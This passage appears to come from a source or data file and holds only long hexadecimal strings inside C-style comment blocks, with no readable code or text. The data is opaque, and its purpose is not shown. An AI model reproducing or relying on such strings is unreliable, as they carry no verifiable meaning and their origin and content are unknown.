715433fcf12af632fd2c553d4aab87bf29b1b64d250cfb4c4005190cfbc0943e4e2429b9ed1a73b438fd9faf0df7f33e09bd6dc092839578f450260402839153c978e8a4b395d564af4dc595ac56d168d79bc932193938fd8efcf493a73b14d8bcf379ecd2ca3b1c1f3952d125ca4c8d2ef9aa776e8e6c29f188b1f176170df158e099df232bc6f750fbfe985fa41380006f5d34bcbe085400d9b49b21e76cb520a7400c3d364e66d61a4fa015425217baf8d5c88916278f5ef1cc8664f8c62e018da0f79174b3809be36f52d9429cadff993d828f6524ad932ff411c27ad30c63bea6855eeb05b5cb91badc8fe0868d0b9a035f47237b9d15d4126fa7d61ce4a430febf6ef279178af001a2a7179fb5a761a9080e2c47d7f96db722d6ec01ccfc163ee5e67a6640685bec2338c44e3997cc79083ceacc0bf8b7b6934ee26d48b8e57771869ee4bb0f0177587abf884cf6a3f885c7d9e0b302486789d9208c5f2fa4d371d2fb3d34c2f41efcf2c9e3d1ec2c77b82ef9844865fcdf531425b3fcaaabee1255713a42283a5592398a1417e543393b8ac6a763ae489e156855a81bff69ca56614b02*/
/*d6ad3cc484d3deb3c57615e920f4a87144953479401a8921992e3a420c8fb1cfb24a1d484d35483032e463b0743396f37c3be264153fd736d80b1f593bbdc593d375f4dc94abbf811231d3a41cdb89c3ee2854f531762416c23b6fbd13155afe9b4ca800ba5b1c58ce9d82166f347adee50f9c4fdc1a766e2077d6f4d618d09e45cb146e3b17bc695eecd11c0ec30f22dd0fdb198502f77de392f8ac177187c9baa1b9630b7df41f60df8c8976bd542ac589a39a5a0f397934fcc230fc152677dc50a135236d89232329472b7e3923ddda40184cc7f747038bbc35b0cb18ae240a120a1b2db157aa068fd7241d99273e090bdbf22225be57947e481a43ecad5f510b1248fc430500fe2945aa1dcccd36677abc5c9e0b13c7e70d089b544c618d0616d0dfa9b32889ea3a0a1f1a76492f5ae5186c515c203b76e716298987a5106d0f0e09d604d02ef1d5bf6a09500b3446870406e7a4d1c198d25b40b223c7ca182c3c45ce12d9ded580219107379b424fa53ea1cd559dd3cf4742f2009f6bcc72a3cf9c003c5822b50d9c134b1be8a522f0ca71c9bc273131d963c2aeb477d1deb5f45c05beb37db042cb6c35630dfbe22086483b14613e7f4c72de2465060b28ce8e79b11f1b2a989a54e7c6d125db4fc3a8a7bb7f16c387ff2841acf1604596d884e70e00a24031eefaeed057fa4f6aef32b3f15bbfa588f05340e81ff4bc760426a241ca35354cc28ddc5f377ffd57cbd34c463e9a6b3f065613f2017869931cd9b1e779dbc95ebbd9deef2ea58ae7526f0fbdd65743b7005998a24c400547a49575efa63267d7b2d1963966ea01d0cbb0c5b2a3761ef40d7e67b9b34ab8900dfbef71198fa7ad2a8c8976bf65867090d18b6b1cdbb6bbfd4afc7dde0cdaacb682f21b13ec68e4564393a96fd3fee038db1197a5fda7f49cbe0f4766af14df9ae71149f4fa0024ca25d159916f0e988ef14f51a4a3cb236196665b01cf9e75ba67e9410ff1c85aa7e9d10ce44ed5023ab7f74aeb8d4cf7fcd3d5a03f289b450f91388e69c5fcc6d488cfe5e861358b20d4fc0e1525d520693a66e072e958345bf5eeae5e7892c29238a8bf26271e66c1cf3a2dab2d0df0cad5345f445cd6e66b4b522f5c9e27236d0664cb4cdc6e13a0efaca9072d4c83bd34119daf220f3dc743cc28f191bb76f40b7b6a6a9ff9b46fddaa10b59f0dd1fd2784b34a6019888be54d721b4d9887ca312c666cf2b1e0b38c09424eccad3c1431209187b54d7da6aaa26c7bd2c9563f3f3922cd0a77371d624043e1eab79c9e2e91ee3e2961476111f6a766e83ecdbbedf8ec90268417c2b231eefa0a729776b82cd54fe5c9d1665965c8873caf709b5c54975bc6db8c887377321f4d8362536fe2d62bccebb0214192c6f7e89d452f48c4c583f573c9cdebae68eaeed1fb5ca5dfc68acc9a0277afff97e807afb2cb4b6e33b03edced795aae997d3eea92ac449bb9ee054d906fd89809fd60a45cd1f8b972cd7362d5a6cfd26526aa1d87d950e901d935a392772585a70bf7342f032b57ce10c7fea2202b9b5889953167a06f7577b87e72a8b7d766616138fdfb54f85a4709e68ba642499c42e77fcec21939fc38f1253e8c7a715f096cd67f84e47b0c688c77669a138c9a90aad7a85db733df23b7d021b0c5a61de6ec70a52d96e5003a07b2e496bbb6e4c52427dcb8e3444dabea6b4b9f7cba5349692ff53dc72dace63e5c245d3ebefaef64db19bae7e3792f6910d59a9763b78181083c973b298c3f404493fa4505758102a2319d35355023ec8903183ea598cdf6db30d6febc8136bd3a8f47bccd63ec6a6760834971deaa440640b14d5cb8c04bad33b7886cc64adacb0704bbab184b84cb5e2c1d614072080b9f3a6e3a97262e57e8246082c0dc29a7fccddcc33610fcff931fcbb0d53f0162d76c4fb1be934b5b8620e9be110cb1621528ce94e1e10fa58f494273af84777a93ff3a744245473a7776d2b6e04d27f4ce9f321c374080ee538a79f016c588bd99de61a8ee8333d05c7949f6f1f9714400761c99944548b7467f4537c7fba7901b3a4710681f08f30ee1fc612946b4bd7512a3d5f770b788c4be99d8c4db63f0eee8f565af02156d6d848104efd277e08ba52d67d7cada4e8afcd96619b412115d3cc13d882f7e3c910d7a321609e1d17f33bcf48158817413b74954dea527384adf9b2f3a78cc07a9ddfb99dfa9be288aa94c9677a80b18bdb1dab00ac41d3db8e881c06a6ee432e8cdd837bda1d5cc066273c5aad063c2e149d7c16c7b5e56432bb38f36674974563208c09655b74cd63815d30766425018f98c6e7d487bbb07a05faa12622380ef192eeb0181c917c759be73e4edbb74a8ea4c7783cc8a20b7a5872906e0cfdb142d9a7c145833022c6f53b3a0482e7e996726b28b7a18c6bcbd76fb7561ac26d2e5979d000f3181ad50f20bb957d1670e08bcd24de0e127ef9f0a29359b2669fb6b356550bc6a73813efcb9df73bb29b85fe8c5cf789ddfcc878c4935e174926299bb9d1b6615040677f8019ea09936f6257b8d308154b4178d09e69c1ab7a5c8e5d3b4a83b3d737a8eb3ba1d4ca817744bfafdb6cb06783ed51dd2885ab9bfffddc8f2e4e37383fed8643cb96d50c34bf7f25f453e396dc396134800aa6a91b8f1c8f09eec4ca8540213bdabe6a9a6c560d41f994b85627fcdc3cdc1e6d43740628419e7df6a0132cb1c409e98e43edade65f67b57d5fdaf9d2cfa5b559473b94bc53c6d1d1f393bda59a77fa907fdadc7b7b1139de8f0a1ef4893e02ce8569497a3974dc2a28b4f*/
/*58a7019984d57e3dc01c41c8f12c74e075ee6ee2207113788fd90927109fc8b0e91957fffcba354e1e107cfe9f95de440412e43b17f32faef0dc4555b68fde0d839fd063de7aadd40adbf53b029f56c66e13df6521136b8a02382e4d27a27579151e78043208029d543406bb7183fc2ec985315781c9eb3cfc44e65b94ab1acd0f0dc8548c80c252e3e6c4cd8a3db72a5db6c766efc4d5116847477171e9334ecf23293f7ac87b837b409b4e04bfdfe73bc3f786f8589f0e78c9ac13e6617d02a611bdeee8698304e0caa495926a57be932d4f26b9901e58d1515a6a19f94373206cae58c635e5efa7895e7b50cad61bd86f20a59d44074d53b587914e4212d134dbc8f4e43ceebe8e42b2f8b2fcdc911827cea5cc902b1dc09d1af8371f6c199333b21e58e6c8194b7a9c2a2d4a9f5be6236f4a0d2d6933220d399f310f72498adcba71fcb638eaf6b183212dc00980ea3a0858855858afb9f4c3edca23044bf1fd9a7b438199efcb894be5657c39300b40d87ad81f9ac303a5d3e8bfe6fae696d1041fe934fc6dc524451bd7e261ae21236e353f60a7da2e6cc4a98e8c05be8afe2ac0b69f46807f36076a660a57611effd107fb0f709d31c54f854e05e00ae5f5ef23006b966ea14fe1dfb8d38ac4644744dd188b36695e2a58038e7d164b3944b3f22221e76b02a99b6e07b304f6d9003189161ac82995aaa4f57808a5b02c208f275fae71c0f60d749ccb710b813c1a1e0ca7574affaa734a3a4692fb3d19c1463520ddba818846fb30d3cbb3e948656ca65c5813f0245e47d41cc903cc46cebe7f1c068b636c8114514f381599da3e0977fb0207980cc0a89d597c1c4cc88cbc91b879b6a9b13d592650c1112d9ee3e414fe0bb48d57b3a9baa7d2f3919cb385428328d4abac6242121966f3240da7cd4dec77024e970a0c90e0c49d6f2f400e242113595860e2a378c3394414b519975bf960fe0e02537a68e23f23024e9fe20ede0110d16784d608e63fcd712e275c3af8b428d3f8793e431e42197487da5969676b647b3a3aefce965f7e3e6b6dbf6e6504fd940952629aba25df14a8de137f33e836f0dd4a2be1c4467a4dbbcf32a317bb1cc68f5892daa721d9a5711273a5b3fec0b79521b6436b24d11d67013b0138eeb302f8cbfe1d893c8fcb77e14a276faf951db1d1c9f9c372360fc7f05d8cef86bafba8f65101acf458cdda36ac36941b62c9d174be9a04fd38dc914668a0020b9872e8d3d20cc7b9198368444bdb685f203cfa3b52d297958fc787328174e132f7d53298fe76b7b5058b097f146ce21e6cd77856ce17c06fda50e5deaa7c6495e8dcf99e12bf2d7df4742d99733614cf12f41556be0016e6c61ecf326ee028b12d9787121141bfbafb3884a6cc0d5d33b7491259e8daa4c8e93973d7da4ec7e882714c3643b91eb47f36ac37383647775b4d78692ba1e7aa9cb46a5ed7c6b7f51f647b3c31fe32eea6e1d3efde9ca090a36221b8737962b505cf27f6e20e1e430979e0d5ed1566279b943a9ce83fd66a68f18be02d54eaf4d4bf8a43f5f95a48e53f6baf10c5afbd096d565fa91a9914017d918f536f5b2e23c88a56380153717a0f844d1ab9f6caf45593948d8d760def98e97baffcfb752eed83a954c902241ca18eb98d6660f2f4d3070e5d047139202689b75fb8ca387e0cc065254ed19141d8fe8461542ebf18992eec37e6ef6fe1ac7fc41daef61d683fde2a8d9a99d8fba516ff64f732f33681167bb9477fc4223cfbca3ea431a80fbcb64a4281100fa39aa96c610cada2d4f3124c3c11535b1ad4146a59ec302aeae86febf53eb93168e38c227efce42b5c8a375d1ee3cfb95aeb56023e088353aac54084b21c2ede0e2d242dca92dafc2a6336081fd502f7f3723e3b1c754e1e9f2dc00252a9a9dd526559404cc562ffde326e130f4dad47c0d7c4f57393797450023b0499ddb2e76654202eb1365894c18b9e664b5e2a3daec8aa719af9936e2c3a2292c3b4f49af2e71892f79f2fa373408a7f7d2f21037748d5930d4336fa945745341a9805cca9f4abffdf5056da5481f51b22f998fa3290f75c229b1e7dad01d00d255c60a1713ab7fc4983a7d939f4c6201816c60767f16518c2f3420eff51649e11fbc75c07622c2309701fd49fdaf9c0a3f3063e26452e0d82431f30b92d600dcde3e780577d31a84b1a70d779736fa9bd61faf2a25d9171d542d49b30a95d79f25850e3cc53a7e8359b8a736151278050eaf5b72d5175fe8438e01d39ef51966651330a8afce968e3df09871b17a1ccd40936cbba7396133f4184cce88655699fb439f02969852f04d281633ffdcd0c37a8cb91da050452af69cac0a849db18c4b3a9404488a58780c0c2cefce4ea82d53241afb33d964e54ee167ff76177dec192c128273ba8979f2e72b5a4432afc60e0a4091f420649732f08a9a3cbde9eb5eaa01aade521ac8b1117d20031dbbe5259377c145e666a9d41eb89516ab53fa26a72903a2981e06c18d9c7653d6278f936f5773891936686893acf238a2b3b625ef00c316b5948961d74194970cdc327bab507b7de6cbd03b6f74d615a272a787b1c671e819bab83ada20db82e3092c8aaacb43ddcdaf1546f0777d6a477933f332c1e91ce00f3dd6fc8bdb3093681137120eae12222512304de56ccc4de98c3f1a74ebe91b4b5c2cb53e609345a0f4b21528a88bcbbdc163f841a8b262f791e1bc90f7a70c78a56a89f7e359822b8ed1223a2b87b98d3e61c639b5aa7294867f80efaad5a4a2ebacecdd7bacf8ae4d9dcdd9f40651c72ad26fa1a50dc*/
/*7b77d85a2ea766d77a42faf5c5f67423e10de23bc7648587716ce0e6e493a40da737f1f030f2f9c753b1ae87d238ea432f27f2f31d85194b42a240b1680552af734d6ee194500b16ea4d5e1b5c792373c056215bdb3cbc0e273f1414f8750decfba0559e289bf6bd4d5cdce64fec9f4fdebee9e2327c5b260b2da158b487eba126a47e334d4af75dbce539e401d9f9647b43eebe593ebfdc186739ecf51baf844488019882707204746b5f8531e6b81fcdf295951cedc62eb736a40c506317d38e6ab11874a30f9725be2ed192e59f3ed7bb3c8528f9f331d16aaa08288d615a65e1499523b2b0c974c5952193a21a5e7e3fd72c99c6a605d390d543c36b4442174ad414912d68c8150f5a570123faf973800cef128c10e7dfe528a8dd79565649a68370fdf4c1bb0bf0f8f60ee5c898784bbe61112d8b313a8ea8e1b0d48ab27c8000cf21d91936923eaf1e3bf1ca4858e92febd53d830e1f706ee43fc18efbdaa4e6b979b86c6c677ef4f593fd7226abc997360c427579353015e1f604729298e2b2a40e2d7a5ecd807c974004b6578f34b9235bcf2bf52153932b758be59e68b5d65b080dc444e04c8848bb29891cd62df74a303f60ad45f3c33f53031acc799515094ee4bd03084e9903d8d738f4d42953b388cc0faedc7755dd08ad57cad71f69b7b5e4f2ef35c2cfadc33672eaedf0b529a12fcd75e74ba343ff85af1b46d2080f83cd5b78c1a0d05e6a9fc2c4fa21c872d0cb9df05dedf945800dd39e6e04fb68be86d77ebff19aa292587df7c0af69d3852664cb25623bc8fe862e26b93cebe598b3f50d681c32c18f299d1af2937fe28c017210f7fb90d6552438c8dba33068136620d0e03c4a585ae2b6b8317d9935b54d03cf6c30aa8f1052e2ebabb7e74daefa42662f9a49c4c2825371e41bba3b534b3956ab5b6691373a73387420b3b259be0ad09d03d96af0cab644ffa9b8da2d7d8143fccdca4fb57f76501cc24a234b82b0d7d35a440b003097a3c2f3deda56f1b77597ee0575ec3f51efddc1efa7acce4812bb7c815dc011440981ad0018787ecb5d48d2e77981da61b1f96a460872081e7e0c7315d8862175da6f0acaefde0d8aedde9449712feedf07125c67da56be6353e3155fe580c69af792bd0f4601428398bab0796d1a0c07e49766a6aa327c60a848b8afbfa7b94afef539246a2d4a903c399a6572d3d0ddf772296986fcfed68ab4da1bd5fdc61789c843afcc9093c26423f84ae2ad9e2ec6f71b17275c96bf9a2401750f1edf8b20313101fc3b977df5048afec0042fcf50501a21b9382dcf590bf9face82d4f9d152afb002e5ce5cad9f2e96c8b2040b963f8da5de1581ac07e47356fba49b923eacfaa2008c7264ff1f2599c1b7d295140dcae3f29f97c44bbd7196e2d501c33dcfe191ed9b56b9a4ed3c56fe6f074adadb086f0eff39887aaf2122063cb1d47beec4fa37de3737bb26801dd3ceb935a1f74545a17de6fef9e4ba8f3339c3178d4adfc62fb275f2132976506d2f9bd5812f1028e8b14253a9e847b6e89fe6f5b56bdff54102ae99dd66c4e6ec3d1716d21f73d4793b898b2e472e41ecd7bdd3f111916097a766dfaca877b7e9d2708dec0482a6b9b6d0671a8620a2fc09dfe4070f28f0c9472479853e3a6046ce4bde242dcb91ab1a724c89308c94f5a284dc86ccc9d8f9dac3dac95a4f55e4fb4391054e309d7382722f7b9a5f78b607a143e8cfb1533a9d9aba92ebe21f48a2eed1ca76d57403573303ba1e07e013c17b80d7a5d2f751a960696e73d48120dc907c9ac48641502bd0425bf96cb01350c329c3d073a932032627f63188ebce93039cad5c7371ea2b57776c9535a30eb8eae18553912f2dca19d7f480ff2e7bcedadad15f0057c48181ea407eda58ad59455427e70fc10411a202a6ddf0ef45f5d0f1b4e33a77d9b69ee3170116e6bd8b88eb3433269140830bb28ce6f9aa410c00cabd465a7810a28780ce02da2b8207f2fbb065bb2cc22acdaf89f6c6d0dcd5b58df2fb714b29c14a72d56298c5bb6c23816272ce7a04772462335824de2e5a93786cc92749e5df0411d1ff52d14ba59d6b27261fc8949bb5ae6fc80bf3ef079d65f55b47d1714767b53c62502bb06150002978119d79f583433b5e6b7d220e2902b2a3eacc1d020cd1bd859a3c88f0735066b4218912512962be05d95d04e784d03116ef5c020b520c9281de24a94f96d117af9a21c251acd5ad2d99ba79d70d2ad77356942119db14415d6632163adbb35fe83766f0b60983e204d1c8e6983f363d67a3197178d988492a2308aa8e25ae68f4d767030a7502f00e6a28f9d92d5072b0b108fab3de6707539855154f67c519d7c5d7fcd614fef990822c6f32990284be14db7658f64adaad6a3c16709c877d5893bd9f0391fb6389ef4075b8d52039ef688d7bd18fecf068654bba70e3aebe00f2448e2faca73f7bfa116ff55ca78232496dce3feca81357ef40bda27aa92b2a73e11b6adb461a48fff8ef5e8f8d37b8226b68f972a38b45383a07f8571f3610c8a17fbbba25c9558ea4bb275c94102e841a3567ab3f64dc0bdd37971bb5378b33db0d01cee822b4343a04230cf3a89d41ce62a5f8cacb5ab4da66050415a5d7cbcf743783c532548255622b4852fe06fe64b649d6ba25f3c392ea68349a107e55be9cd590230b5e9fc4c7ed19f75b65a89321243b4eb486af8542e19246c903f615a55ee99a96d220de7aee07ee2e930da4288c31c26a30b0b04a48689fc12fd71c9cfb3c1e70d190630545d0344bbb70982c4a65eac99b5974710c3bbab8*/
/*652031d48c282ae25afa61a471cf003f01f8a149c804b710f94bc23cfff0bac79017b5a9e0d11bdd92a1493db2ebad18d0d99ce5b2572eb541b9e5647c1a66f373b43d8d399dc19494a9af7a9e2ab4708cf160dafccbe0288f4553637cfcb0bb33e03eb6d0e4d95fb63488d8f0362ee7f1bd725e4b747ff57ffd3b6a4e2c049e59c7513f0af1cbd830baec5e4caeefda1a684dd60d7172a778af07def152a3a53a66b66f986bc381209ce4348d2d1eb50a3a0fcf2f8e5ffa83cb5a6314bcc45907bd1f82a4df0ecca53532cf8c2a7095f5fb0201ef1342f07b97c90499d9d184cd64cbcee331843d4e8c7141670cfcebae1820e83622dc94616cf4439668bcbec8db841474efa99a7536328ca9fbeff1fcb314dfb9ff4bf24cb7446b7626952bef67faea8b0a579bd9f4270bfd2ab6f19ac9175f99e67aee18836337ff312ab19333b2c2ee99fcac7b3986d983f340f9b666b72e45724d66877f6fa16972b745b79c9cc95906b5384ad2f9a813d15f750bc784c5a25a420e54fa01c6040c5c5974a2e9e81a8758bbd7855b34187adc316dffeadc74415c9f6ed6bb2a4dd201d9424c72a62701f3de46b7a583960e83488c36edecb0a1bad1dcd1245c1a5a024e0892c8865b232e29be1343f92bd9d44e0b1f6fcdb00604e507f7ce7790a08fa15e6008d49cd651f7890acb6766504dd491064f4e8f4b9660bcdbf54e6b2bad35d71ff3d33168956faa42de3f7f96fa7211e6add0ca362201f97a0576f9aae7df12a5a2b0a881176211e208b622dab26b7db54feb3b01500e5b3db002e8c940b28fca7892f7135e3293e0fe9e1d30f36bda3d2622e2a5d12ed1012c52eae504bbb3d2e0d4b3db7884d22710b2b4ff78777033b88416b95c2953957ee142ac013c5fe92bdde3bf1c88d9fc7a0bce46a4887672255f840258fe69d4541841d70bf2e1385bcfb6b5e43ceefc08cfa3ab497b8224d862a0857ab7af3fc6c65fb7acad871648f5185691683157de0a9ffbb848be82aa5de29d82128edc697181be997aaf9d9d61fa1a400363ec22b6f9d0eef101a5344bd78d8b5294b29375cae69423688537ec5d67a7e28b5e3b1dc1f452259987f67c8fe9c8001cb01a0d2690b262e0c5d3676ce4214795bb384f5bc57568fee05080ef99e17891e4f5edb3dfa9b0407f62f74fd62c77b5b95a49c2dcf6ad4977c72ce0ead639e0b927c4685256fec5a5af3c0e7ddaf28ab42cadce114a7ed6792bd7ee40f100c9627ae07f65af340223df3cd9cc5be7ebcb2529cf31eb14fa6362985b62b20e9dd2c6b89e9804a9b26c91243312db73d751e087842606cb314befd2ab06991dd983facebeccd8468758390ec238c341b72f94a94ffcdc37ba57dedbd0972a0e0b87185f6f626a191f941feb99cbdc389115ec6887c0c673f653cdffdf6f8123987743ac96db2078a058ca9b2847dcc57be99efd68cbdeb19db3e52d9cee25082dd58a77e862ee1853cb01614e3496c617d7b4a2aaf900d2bc6f6988f0ba799361be43923c4598543b9697e363821ab9d19352803d6d568cf23dfccb68881a12aeaea60e803cf2783c1dd4e20a2560d1b5c88657f8842e8bcc491d1558ec3729b8e9e11a8dc7b7e446e0ff8eae48588363237838a9473d480054c9bce748b658d9de386fee8124a24b1cbbf891ebacb58656266d39b2b06976ad1887d97733e1df77d91b24b0f8633fc8e1402cc908e8db37b3be7790a9d078e277be3a2b113c4448aa431deb2a319ca9d25d9af3694ff0165245a517a37c17a073ccf6ab1b3a4725b98dd0973fc239f115f74ce48f0f06fbddc2ef9b9af81e9a37bd32f0d7034695c8cb7fb59cb22242fe6ab0895b5cfe50e8d231d8bb7935d524a6d233ad0dd3c7324f52b8dbf2b28f8fb63fdf6c34fd4ac48fcc53596b2b01c5c35765782e42003378a61b88096ee00915e65163e147e873c8ebb5fe66f3b81b325282ba1a288f4e6a4cf0d569b886a21acc7f1d636f2e373aafcbc3e951852b47aff087157a395e9fa9430636d21772e082bad2bae695c18ff72295395ceac9dbeacd4ba1898f149e15c19d4d9569e813663e09baf4ac244382c58c8de699ceab9e3e91af36d283e081d07aa304cce3e503c516b4c918d1e70fa5e91e5d5988df03ba3344a7d7ca4983c23cb04ce5ff1257e52e9d977a5f41d869377b55bf7b75f489c8c5f1d9a28f63633a229d0c13a365d5ed22400de3ff380eab60678c56f41a5f8fe0e636bf8848a6ddacb212136949ce02e8e0978066d6bed29a8b932c1be3e1a49fc6bb9a60604a45a3b645ac8e2523b6c136fcdc06329642e49b1b97d5e88b8679ce2b268ca7e23df13c4c536dce754f677bc32661d9ae32c443d1d6c243e29a7cad49fdd49eb09c9b86c10fb80cc97590194b1516cd5a2ac4b393b80eda23dd25d9c5c2cec9dbfdfb04fc72607c20ac39a69452d0ef717da5a5ccbfa0ee3f532a0f3cfd90b841f616b73b6923f97dcbb696d727678737b3bcef74bdbbf84450129c7e1ab863fb41c5f664cda310b36dfe42f83026433d10cbf72c1c099f9e4c300859ada60b83acd50dfbe1dca7fdfadb730f36c7689eda6a5443f5caeb4b9f7f7d2ef6d5bf6fdcecce2baec26a91d350dca7f8ddb39868680c80dccded607f53b635583482a32d5f1cc879de6695bd7b0a46fe23abb5acedfb8b548f5c02bc66bcf9b01b184ea546b229ff272f9dda3d3baa82ae93573c55e8744c77f856fa7aff0a9ce6fbb82a9b3bc625c9bdc17cf1761313ba515ad71a5498db10b9f5246ed8805ebfff7bdec19fc7514a192951a9b4a5418b78fc8bd3*/
/*09abacb2cbebd0a064aa56d3bc532d69e71f5753f9f48cc0faccd5b686f90c26add862cd9bfbece5b11c78cff2c85b0b438666e440d4899f1186cd21bb8c99f02f7151810c586b2cae357912b04a479e6ee0193a20866b49702f16076bf69df95a18f48b75e5f90d0f99961f25ac26c2a78d17bfb8245fe68379f2cd1cfcf5849606f340befbecb3a58b90afeb380f1d993f07459d58fee40454e303dd7deed03d48853f8a856c99a9bfbaa1417a2296f56012d010def8e65c18728750f2f331ede89813c13c897f745151d5f6f36a64e3e84f93c2fb18bdf79ff0fd18264e9368dc9b72845d1a62cd73c6056122cd29375f55af1345081ad8796a9652d66a01c4abaabb5729ff0aedf7eb0dc67ae1af27c87872c106e0aa169d1f26c2211376d4fc14c90dfd57a19650aa27bc6998ad6dd6a649ce5b93b6469f45c2e3e341c39a2dde410675a2980803cea695c83bc38e0c430f3a4d055328b024239790ca13919127b15ff26880789d72cf3d0bdac7b523d8f9faf7d4d4d2f63692a62382793b221cf19535fe5b2d46cd719c780fdbb8490c022e9195981d1a68772c975fc16777472ce377fc378df0631a7511229cf769bfeaa10b8b7283e2522c1c7a4540bce05ac2735985ec4683135413d3587c7b76c1d7b88370674e95adbb205475ff525ebc72ca831fa8855b5596635c7cd077f5fef039b1a17f13db3ac4670a38baa8e5e271632d4d52625e49d88942ea5b8d59e93a938a5262f54c2e6550826338015d967d7030ec3f66d42d55e15ce1e64b21d7fcd0d6fb7c135ffa787769a8fd030db0e08855c9d712c7246329546cc35ee6fecae72476b4295cb1afc997399c561c0e2c704720f8b773e2b501d798e17bedee48719393eeda6cbfca43103cd8a8c5a22df585178a409b72289f2e803920b440efbaf9cd8f93c913ebc149f634841a468710f48df60beba4986246f9965dc7cfdd95b31b6b306d001ba8fe77a6347faccc246904ce752381789c4c411168a67399c223739e920c589b691097f41395003b949e6e3a5e2b60179560572c68393313ae1a57bbe12ea3a81185e1a73d9cbdc54945678ecdcf744c1c45977dcc26d2c24b72951cbfe8b968d95e6591e65ea0403c2047b174e90003c79ac165095c32729a01a306405caf981be6e120029ec6481c3a21a353ad32d021fefcae3b5825bbbbfc77d9cbdbccbe73571efeddf131f34822f7801c11c5e26f1d9f19e21124e675db6b12385422dbee9f1e63f9873ef48b86aa4a1660d8e03674a5abb7dd4c8e87d7b5276fcd57221c552375701aa92fbddad6281d32f0c465c77ca094deb2b83bdd7c792461f3214e694fd3bd71fc1dc76e1c8b1d3b6c24d44743a4484211be4be7f6d8463ccb09a7f7fcb2c571cbeeb3fee7b4097f14619346c94c721f9a847e701b9187b117440cb9a027edc82b59aa6291608ebdaac30d064f61e0cb7bf0e6445afcdb52fd726f3ba8ab22044d7379634b7a3ba3adef998e0550e51187b9702d9162a8f67ac2eb8ad2c6ff8f84424c21c8178d66f2327eb472c29c1be256a463fa8772251938d1eaad783d099edd3a4af77073908a6b518207a20792ed6c51fb814e07d9ac469679f713371adaf945fd53b4ef716eaf202d38ec505f738b3cfbcaba77539757edd3b3bd84bb265e24ea060158f64515c022a61b5f4d73233d5b55cb438d98997e199dfc24d635fdf89505c54b6deb9705d172a64002ebce63c59facdabe743993bfe10c558ac27032bfb909ccb9e9bdcd4cf9e64ed08a21b1d4f9ee4fbe918e9084111d454a51db78106d5f8e3e5153cf13bf5e84f50f5312d4921447ad8897bb8e7034ce32e0124e932a2b0572eb9db225c0ead95da94954b0f4052f8716e9239ab04ac92bd77dcd1554b7ae61a83fa41233b5692fcc80da132b5116b50116ae91925d0f9a7ffdc2bb43ae1dafacde3af310c4660e17f806c3e0b9dd89acdfd39096b3793054939c6c9b4541266efb26376e2b52373176dfcb845c082db36a5e9151a7a0812fc6f999a094d1396889e4568569336f7b17757c87dd9b502c86219a17f8dfc017d71a866e7705d4fc332f74c67d2272326dce41ca4e0aac21dd0a9c5b569bcc008449832a929899094cd4a2385306f6075a29268a266174a7a817bdd90017072ed3263489dfd9c604cf651e86d1a99e29efb55be71d3b5a4c3371d47a8535f5ea6b6ae004bb8dd504ef18a5ce4478a74d0fd0515923b64d403aee9f34d3f0f5d53553feab27d2d954dedbe194e28c1d388028a1d3c982da8fdcb8c4a42eb0ceb80265ba766d8b1c812d4ed021fd73921da3e6f60ffbb2df02b453c8aaaa4891a627e8a5ae42836e40a636dec971d06c97a43f88fd7e386af3614e526cf9bddaf51f005aa928004ba6c4c2dfc66d9dd3850f2bad0707b3f8266bad74c457d6243ad7d8461e0f10615bb274a03deee02ee1aa71c6602cebb913c9067ca5dbaea6ceb3b1050fe2d84d922a3b55cc7d3a9dc52f53e6a3c49ece4a653e1c1499eff272e7a07f61a8bf8b6e10e37039b75a682a004d81d8d8e1bad0948d96998ec283c55bd1613f9d71ee5f9250a39c3c59d8b6a9c317acfa284a55cb5bdd352a346d2388ee6936c5d7f5ebb3164cc8e14415baec4ada79363b56a28ec4ad02fbccef2803d61341f82695ea637dd14e77341dbd61dc90b0f4abc95a4933fc1db37d3679a5d0e657e5da6fdbe8f4b47960ae2f1c721648a33d885fc623115ac037e3cc9367c1059852fae6d37fb7a55b106d9ab930bd9246621cfad86200e9f5c329461b8b846204d4d580aa0dfe731736*/
/*6f74cdc89fd186c1f9cc64c0d80b270911b59cc83d54efbc8e8df5af6be905f9a191e1c8a1dd07d1ebfa53ebc99224338a612e51b3659a1cfe7ff4eb35ee6ae8acb919965c518f7e27ae4c3da4a9c6e6c690254d6b61b1e2ef278d7c98f5324e194a100e4c7e38b8211c0567561006f71378dd9c43e3d49c11c6ab5f09088930ccc5bcca54b967a829f5abeee02326969f232f4b214e55012c264ee3562aba17520046d94b16f7218abc964b25dfd8f546790038b8d98c71d037842e80054c772699514d511b502440dba5af4c2cec6fc75e7f745a0eebd5d1bda380ad0647002fffa6aa6e7b32d9f21d2fc6bcafcb7b5650b2ec082934d847a6cfb23d95802d4df076595c414e5a6038b3240073ea2236d2de8ad627e208766c2774e0fefd656a6639300d032364699ccdc9e879db8119876db09fae11623f147fcebce793241d26fa6487b657b8e6e334acc9b5b038aa8bfb71259781eb74a49e58440d1bfb008bc56a91d163926f950d6758cecd4b26b133ea362d8ce1da700adc0e80351eacc860b6670a75af5cf78f6e0c63ae0320e4c8f96ebc3483e36793ec348eb437f4547fa060b41eadcf6cce9330710ead3019566712ea6975ce0f2cf624daa0c2c281917b151a270a4d1aaf56a1d7a108f20d87584ff806316cabccace7af887dc3064aaf30583a5d614d58bd0a4f6c427f53095c88b6c7bb314a1efec2523a7ff558fbc13681e41533add82a0e400466dab3a54fa40e7b885ed1188506fa681a7df7c7f2951549c8bcdd704d1f5846c3d1e22f4ec83da8182166a01a0e2106a503cf02beedf2cbff2054becff5a24cf6b95cd8e1bb14db71a9ae42b74298750e6e725e604feecce1baec0e9852d799e5c0c7373b212e25d293f414f5f4517f36b3bea824562a4023513dd2f61d0140c4ed883fb248b8ef8e9ed64621cda823c570f2bebfd28a1f2c41211304ec202531c5a8f534d7fb386e8ee5ccc17b32766c92d5b3048ff7f3575ff8a00a74daa4876b7503bed216a0a98c164f9550f0bdc2d52e62f2bcd4f08da30b3cef4dad267ffdd340b457b8a323c90d8dbf420e0ba20958601703a056463eeaac38274235c2d4d86164882f88b88fe23abdb2d7dd47a360948c084b918d5f484152f41cd7f989618aae7b5fb6bdb0e6bddb81ef56f715dee8a71c2bec9a8cc9644b1754916e49a98af8c34d7962bde66176c0d6d063201ec21cbe8914de700f00f87fcd61594f1b3996c41709f3bf64f45ce8af1bc216be842db300f590857f473d5b947a9361ca29fb8347c73ba9cba9487119372ae8695ac864ad3559c97d99117577c1e857c2a27d4fad1ec3d46642e90086bded6a9966109cf75e97ccd73d752a98fcfb53470bed72dacfe0e69c5505bde77e94ed788e7d246ba96c939cb4b999d46b766589a0ba3c366d301a51790cc7338c417d3f262e5b25757e1634320692056c0fc60d028af49fa8103259ec90ddd321814ce369e22b22cbc9ee06b631d8c0